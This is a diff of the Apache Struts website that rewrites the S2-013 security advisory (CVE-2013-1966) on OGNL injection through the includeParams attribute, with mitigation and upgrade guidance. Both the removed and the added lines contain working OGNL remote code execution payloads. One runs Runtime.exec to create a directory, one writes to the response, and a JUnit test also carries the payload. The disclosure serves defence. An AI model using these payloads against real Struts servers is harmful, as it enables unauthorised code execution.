@@ -153,105 +153,76 @@ under the License.
</TR>
<TR>
<TH class="confluenceTh">Reporter</TH>
-<TD class="confluenceTd"> Xgc Kxlzx, Alibaba Security Team </TD>
+<TD class="confluenceTd"> The Struts Team </TD>
</TR>
<TR>
-<TH class="confluenceTh">Original Description</TH>
-<TD class="confluenceTd"> Reported directly to [email protected]</TD>
+<TH class="confluenceTh">CVE Identifier</TH>
+<TD class="confluenceTd"><A
href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1966"
class="external-link" rel="nofollow">CVE-2013-1966</A></TD>
</TR>
</TBODY></TABLE>
</DIV>
<H2><A name="S2-013-Problem"></A>Problem</H2>
-<P>OGNL provides, among other features, extensive expression <A
href="http://commons.apache.org/ognl/language-guide.html#Expression_Evaluation"
class="external-link" rel="nofollow">evaluation capabilities</A>. The
vulnerability allows a malicious user to inject OGNL code into a property, then
a further assignment of the property cause a further evaluation. </P>
+<P>Both the <A
href="http://struts.apache.org/release/2.3.x/struts2-core/apidocs/org/apache/struts2/components/URL.html"
class="external-link" rel="nofollow"><EM>s:url</EM></A> and <A
href="http://struts.apache.org/release/2.1.x/struts2-core/apidocs/org/apache/struts2/components/Anchor.html"
class="external-link" rel="nofollow"><EM>s:a</EM></A> tag provide an
<EM>includeParams</EM> attribute. </P>
-<P>OGNL evaluation was already addressed in <A href="s2-003.html"
title="S2-003">S2-003</A> and <A href="s2-005.html"
title="S2-005">S2-005</A> and <A href="s2-009.html"
title="S2-009">S2-009</A>, but, since it involved just the parameter's
name, it turned out that the resulting fix based on whitelisting acceptable
parameter names closed the vulnerability only partially. </P>
+<P>The main scope of that attribute is to understand whether includes http
request parameter or not. </P>
-<P>This time, there is no way to whitelist parameter value,<BR>
------------------------------------------ (to be continue)<BR>
-Regular expression in ParametersInterceptor matches top['foo'](0) as a valid
expression, which OGNL treats as (top['foo'])(0) and evaluates the value of
'foo' action parameter as an OGNL expression. This lets malicious users put
arbitrary OGNL statements into any String variable exposed by an action and
have it evaluated as an OGNL expression and since OGNL statement is in HTTP
parameter value attacker can use blacklisted characters (e.g. #) to disable
method execution and execute arbitrary methods, bypassing the
ParametersInterceptor and OGNL library protections.</P>
+<P>The allowed values of includeParams are:</P>
+<OL>
+ <LI><EM>none</EM> - include no parameters in the URL (default)</LI>
+ <LI><EM>get</EM> - include only GET parameters in the URL</LI>
+ <LI><EM>all</EM> - include both GET and POST parameters in the URL</LI>
+</OL>
-<H2><A name="S2-013-Proofofconcept"></A>Proof of concept</H2>
-<DIV class="code panel" style="border-width: 1px;"><DIV class="codeHeader
panelHeader" style="border-bottom-width: 1px;"><B>Vulnerable
Action</B></DIV><DIV class="codeContent panelContent">
-<PRE class="code-java">
-<SPAN class="code-keyword">public</SPAN> class FooAction {
- <SPAN class="code-keyword">private</SPAN> <SPAN
class="code-object">String</SPAN> foo;
- <SPAN class="code-keyword">public</SPAN> <SPAN
class="code-object">String</SPAN> execute() {
- <SPAN class="code-keyword">return</SPAN> <SPAN
class="code-quote">"success"</SPAN>;
- }
- <SPAN class="code-keyword">public</SPAN> <SPAN
class="code-object">String</SPAN> getFoo() {
- <SPAN class="code-keyword">return</SPAN> foo;
- }
-
- <SPAN class="code-keyword">public</SPAN> void setFoo(<SPAN
class="code-object">String</SPAN> foo) {
- <SPAN class="code-keyword">this</SPAN>.foo = foo;
- }
-}
+<P>A request that included a specially crafted request parameter could be used
to inject arbitrary OGNL code into the stack, afterward used as request
parameter of an <EM>URL</EM> or <EM>A</EM> tag , which will cause a further
evaluation. </P>
-</PRE>
-</DIV></DIV>
+<P>The second evaluation happens when the URL/A tag tries to resolve every
parameters present in the original request.<BR>
+This lets malicious users put arbitrary OGNL statements into any request
parameter (not necessarily managed by the code) and have it evaluated as an
OGNL expression to enable method execution and execute arbitrary methods,
bypassing Struts and OGNL library protections.</P>
-<P>Here's an actual decoded example, which will create /tmp/PWNAGE
directory:</P>
+<H2><A name="S2-013-Proofofconcept"></A>Proof of concept</H2>
-<DIV class="preformatted panel" style="border-width: 1px;"><DIV
class="preformattedContent panelContent">
-<PRE>/action?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]=
new java.lang.Boolean(false),
#_memberAccess["allowStaticMethodAccess"]= new
java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir
/tmp/PWNAGE'))(meh)&z[(foo)('meh')]=true
+<OL>
+ <LI>Open HelloWorld.jsp present in the Struts Blank App and add to one
of the url/a tag the following parameter:
+<DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent
panelContent">
+<PRE class="code-java">
+ includeParams=<SPAN class="code-quote">"all"</SPAN>
</PRE>
</DIV></DIV>
-
-<P>encoded version:</P>
-<DIV class="preformatted panel" style="border-width: 1px;"><DIV
class="preformattedContent panelContent">
-<PRE>/action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%[email protected]@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true
+<P>Such that the line will be something look like this:</P>
+<DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent
panelContent">
+<PRE class="code-xml">
+<SPAN class="code-tag"><s:url id=<SPAN
class="code-quote">"url"</SPAN> action=<SPAN
class="code-quote">"HelloWorld"</SPAN> includeParams=<SPAN
class="code-quote">"all"</SPAN>></SPAN>
</PRE>
</DIV></DIV>
+<P>(it works also with <EM>includeParams="get"</EM>).</P></LI>
+ <LI>Run struts2-blank app</LI>
+ <LI>Open the url: <A
href="http://localhost:8080/example/HelloWorld.action?fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%[email protected]@getResponse().getWriter(),%23writer.println('hacked'),%23writer.close())%7D"
class="external-link"
rel="nofollow">http://localhost:8080/example/HelloWorld.action?fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D</A><BR>
+ (this is the shortened version <A href="http://goo.gl/lhlTl"
class="external-link" rel="nofollow">http://goo.gl/lhlTl</A>)</LI>
+</OL>
-<P>And the JUnit version</P>
-<DIV class="code panel" style="border-width: 1px;"><DIV class="codeHeader
panelHeader" style="border-bottom-width: 1px;"><B>PoC</B></DIV><DIV
class="codeContent panelContent">
-<PRE class="code-java">
-<SPAN class="code-keyword">public</SPAN> class FooActionTest <SPAN
class="code-keyword">extends</SPAN>
org.apache.struts2.StrutsJUnit4TestCase<FooAction> {
- @Test
- <SPAN class="code-keyword">public</SPAN> void testExecute() <SPAN
class="code-keyword">throws</SPAN> Exception {
- request.setParameter(<SPAN class="code-quote">"foo"</SPAN>,
<SPAN
class="code-quote">"(#context[\"</SPAN>xwork.MethodAccessor.denyMethodExecution\<SPAN
class="code-quote">"]= <SPAN class="code-keyword">new</SPAN>
"</SPAN> +
- <SPAN class="code-quote">"java.lang.<SPAN
class="code-object">Boolean</SPAN>(<SPAN class="code-keyword">false</SPAN>),
#_memberAccess[\"</SPAN>allowStaticMethodAccess\<SPAN
class="code-quote">"]= <SPAN class="code-keyword">new</SPAN>
java.lang.<SPAN class="code-object">Boolean</SPAN>(<SPAN
class="code-keyword">true</SPAN>), "</SPAN> +
- <SPAN class="code-quote">"@java.lang.<SPAN
class="code-object">Runtime</SPAN>@getRuntime().exec('mkdir
/tmp/PWNAGE'))(meh)"</SPAN>);
-
- request.setParameter(<SPAN
class="code-quote">"top['foo'](0)"</SPAN>, <SPAN
class="code-quote">"<SPAN class="code-keyword">true</SPAN>"</SPAN>);
-
- <SPAN class="code-object">String</SPAN> res = <SPAN
class="code-keyword">this</SPAN>.executeAction(<SPAN
class="code-quote">"/example/foo.action"</SPAN>);
- FooAction action = <SPAN class="code-keyword">this</SPAN>.getAction();
-
- File pwn = <SPAN class="code-keyword">new</SPAN> File(<SPAN
class="code-quote">"/tmp/PWNAGE"</SPAN>);
- Assert.assertFalse(<SPAN class="code-quote">"Remote exploit: The
PWN folder has been created"</SPAN>, pwn.exists());
- }
-}
-</PRE>
-</DIV></DIV>
+<P>As you will notice, in this case, there is no way to escape/sanitize the
fakeParam, since it's not an expected parameter. </P>
<H2><A name="S2-013-Solution"></A>Solution</H2>
-<P>The regex pattern inside the ParameterInterceptor was changed to provide a
more narrow space of acceptable parameter names. <BR>
-Furthermore the new setParameter method provided by the value stack will allow
no more eval expression inside the param names.</P>
-
-
-<DIV class="panelMacro"><TABLE class="warningMacro"><COLGROUP><COL
width="24"><COL></COLGROUP><TR><TD valign="top"><IMG
src="https://cwiki.apache.org/confluence/images/icons/emoticons/forbidden.gif"
width="16" height="16" align="absmiddle" alt="" border="0"></TD><TD><B>It is
strongly recommended to upgrade to <A
href="http://struts.apache.org/download.cgi#struts2312" class="external-link"
rel="nofollow">Struts 2.3.1.2</A>, which contains the corrected OGNL and XWork
library.</B></TD></TR></TABLE></DIV>
+<P>The OGNLUtil class was changed to deny eval expressions by default. </P>
-<P>In case an upgrade isn't possible in a particular environment, there is a
configuration based mitigation workaround:</P>
-
-<H3><A
name="S2-013-PossibleMitigationWorkaround%3AConfigureParametersIntercptorinstruts.xmltoExcludeMaliciousParameters"></A>Possible
Mitigation Workaround: Configure ParametersIntercptor in struts.xml to Exclude
Malicious Parameters</H3>
-
-<P>The following additional interceptor-ref configuration should mitigate the
problem when applied correctly, allowing only simple navigational
expression:</P>
+<DIV class="panelMacro"><TABLE class="noteMacro"><COLGROUP><COL
width="24"><COL></COLGROUP><TR><TD valign="top"><IMG
src="https://cwiki.apache.org/confluence/images/icons/emoticons/warning.gif"
width="16" height="16" align="absmiddle" alt="" border="0"></TD><TD><B>Backward
Compatibility</B><BR>In case you need to restore the old behavior, you need to
define the following constant, inside your struts configuration (<B>use it at
your own risk</B>).
<DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent
panelContent">
-<PRE class="code-java">
-<interceptor-ref name=<SPAN class="code-quote">"params"</SPAN>>
- <param name=<SPAN
class="code-quote">"acceptParamNames"</SPAN>>\w+((\.\w+)|(\[\d+\])|(\['\w+'\]))*</param>
-</interceptor-ref>
+<PRE class="code-xml">
+<SPAN class="code-tag"><constant name=<SPAN
class="code-quote">"struts.ognl.enableOGNLEvalExpression"</SPAN>
value=<SPAN class="code-quote">"true"</SPAN> /></SPAN>
</PRE>
</DIV></DIV>
-<DIV class="panelMacro"><TABLE class="noteMacro"><COLGROUP><COL
width="24"><COL></COLGROUP><TR><TD valign="top"><IMG
src="https://cwiki.apache.org/confluence/images/icons/emoticons/warning.gif"
width="16" height="16" align="absmiddle" alt="" border="0"></TD><TD>Beware that
the above pattern breaks <A
href="http://struts.apache.org/2.3.1.1/docs/type-conversion.html#TypeConversion-CollectionandMapSupport"
class="external-link" rel="nofollow">the type conversion support for
collection and map</A> (those parameter names should be attached to
acceptParamNames variable).<BR>
-For this configuration to work correctly, it has to be applied to <B>any
params interceptor ref in any stack an application is using</B>.<BR>
-E.g., if an application is configured to use defaultStack as well as
paramsPrepareParamsStack, you should copy both stack definitions from
struts-default.xml to the application's struts.xml config file and apply the
described excludeParams configuration for each params interceptor ref, that is
<B>once for defaultStack and twice for
paramsPrepareParamsStack</B></TD></TR></TABLE></DIV>
+<P>Please, ensure that:</P>
+<OL>
+ <LI>there are no <EM>includeParams</EM> with "all" or
"get" value</LI>
+ <LI>every parameter which is declared inside the <EM>u</EM> or
<EM>a</EM> tag come from a sanitized input.</LI>
+</OL>
+</TD></TR></TABLE></DIV>
+
+<DIV class="panelMacro"><TABLE class="warningMacro"><COLGROUP><COL
width="24"><COL></COLGROUP><TR><TD valign="top"><IMG
src="https://cwiki.apache.org/confluence/images/icons/emoticons/forbidden.gif"
width="16" height="16" align="absmiddle" alt="" border="0"></TD><TD><B>It is
strongly recommended to upgrade to <A
href="http://struts.apache.org/download.cgi#struts23141" class="external-link"
rel="nofollow">Struts 2.3.14.1</A>, which contains the corrected OGNL and XWork
library.</B></TD></TR></TABLE></DIV>
</DIV>
Modified:
websites/production/struts/content/development/2.x/docs/sample-announcements.html
==============================================================================
---
websites/production/struts/content/development/2.x/docs/sample-announcements.html
(original)
+++
websites/production/struts/content/development/2.x/docs/sample-announcements.html
Thu May 23 06:57:07 2013
@@ -125,11 +125,11 @@ under the License.
<DIV class="wiki-content">
<H1><A name="Sampleannouncements-Content"></A>Content</H1>
<STYLE type="text/css">/*<![CDATA[*/
-div.rbtoc1366360156069 {margin-left: 0px;padding: 0px;}
-div.rbtoc1366360156069 ul {list-style: none;margin-left: 0px;}
-div.rbtoc1366360156069 li {margin-left: 0px;padding-left: 0px;}
+div.rbtoc1369291474878 {margin-left: 0px;padding: 0px;}
+div.rbtoc1369291474878 ul {list-style: none;margin-left: 0px;}
+div.rbtoc1369291474878 li {margin-left: 0px;padding-left: 0px;}
-/*]]>*/</STYLE><DIV class="rbtoc1366360156069">
+/*]]>*/</STYLE><DIV class="rbtoc1369291474878">
<UL>
<LI><SPAN class="TOCOutline">1</SPAN> <A
href="#Sampleannouncements-Content">Content</A></LI>
<UL>
@@ -309,6 +309,9 @@ This is a "fast-track" release
The website download link will include the mirroring timestamp parameter [1],
which limits the selection of mirrors to those that have been refreshed since
the indicated time and date. (After 24 hours, we *must* remove the timestamp
parameter from the website link, to avoid unnecessary server load.) In the case
of a fast-track release, the email announcement will not link directly to
<download.cgi>, but to <downloads.html>, so that we can control use
of the timestamp parameter.
[1]
<[http://apache.org/dev/mirrors.html#use|http://apache.org/dev/mirrors.html#use]>
+
+- The Apache Struts group.
+
</PRE>
</DIV></DIV>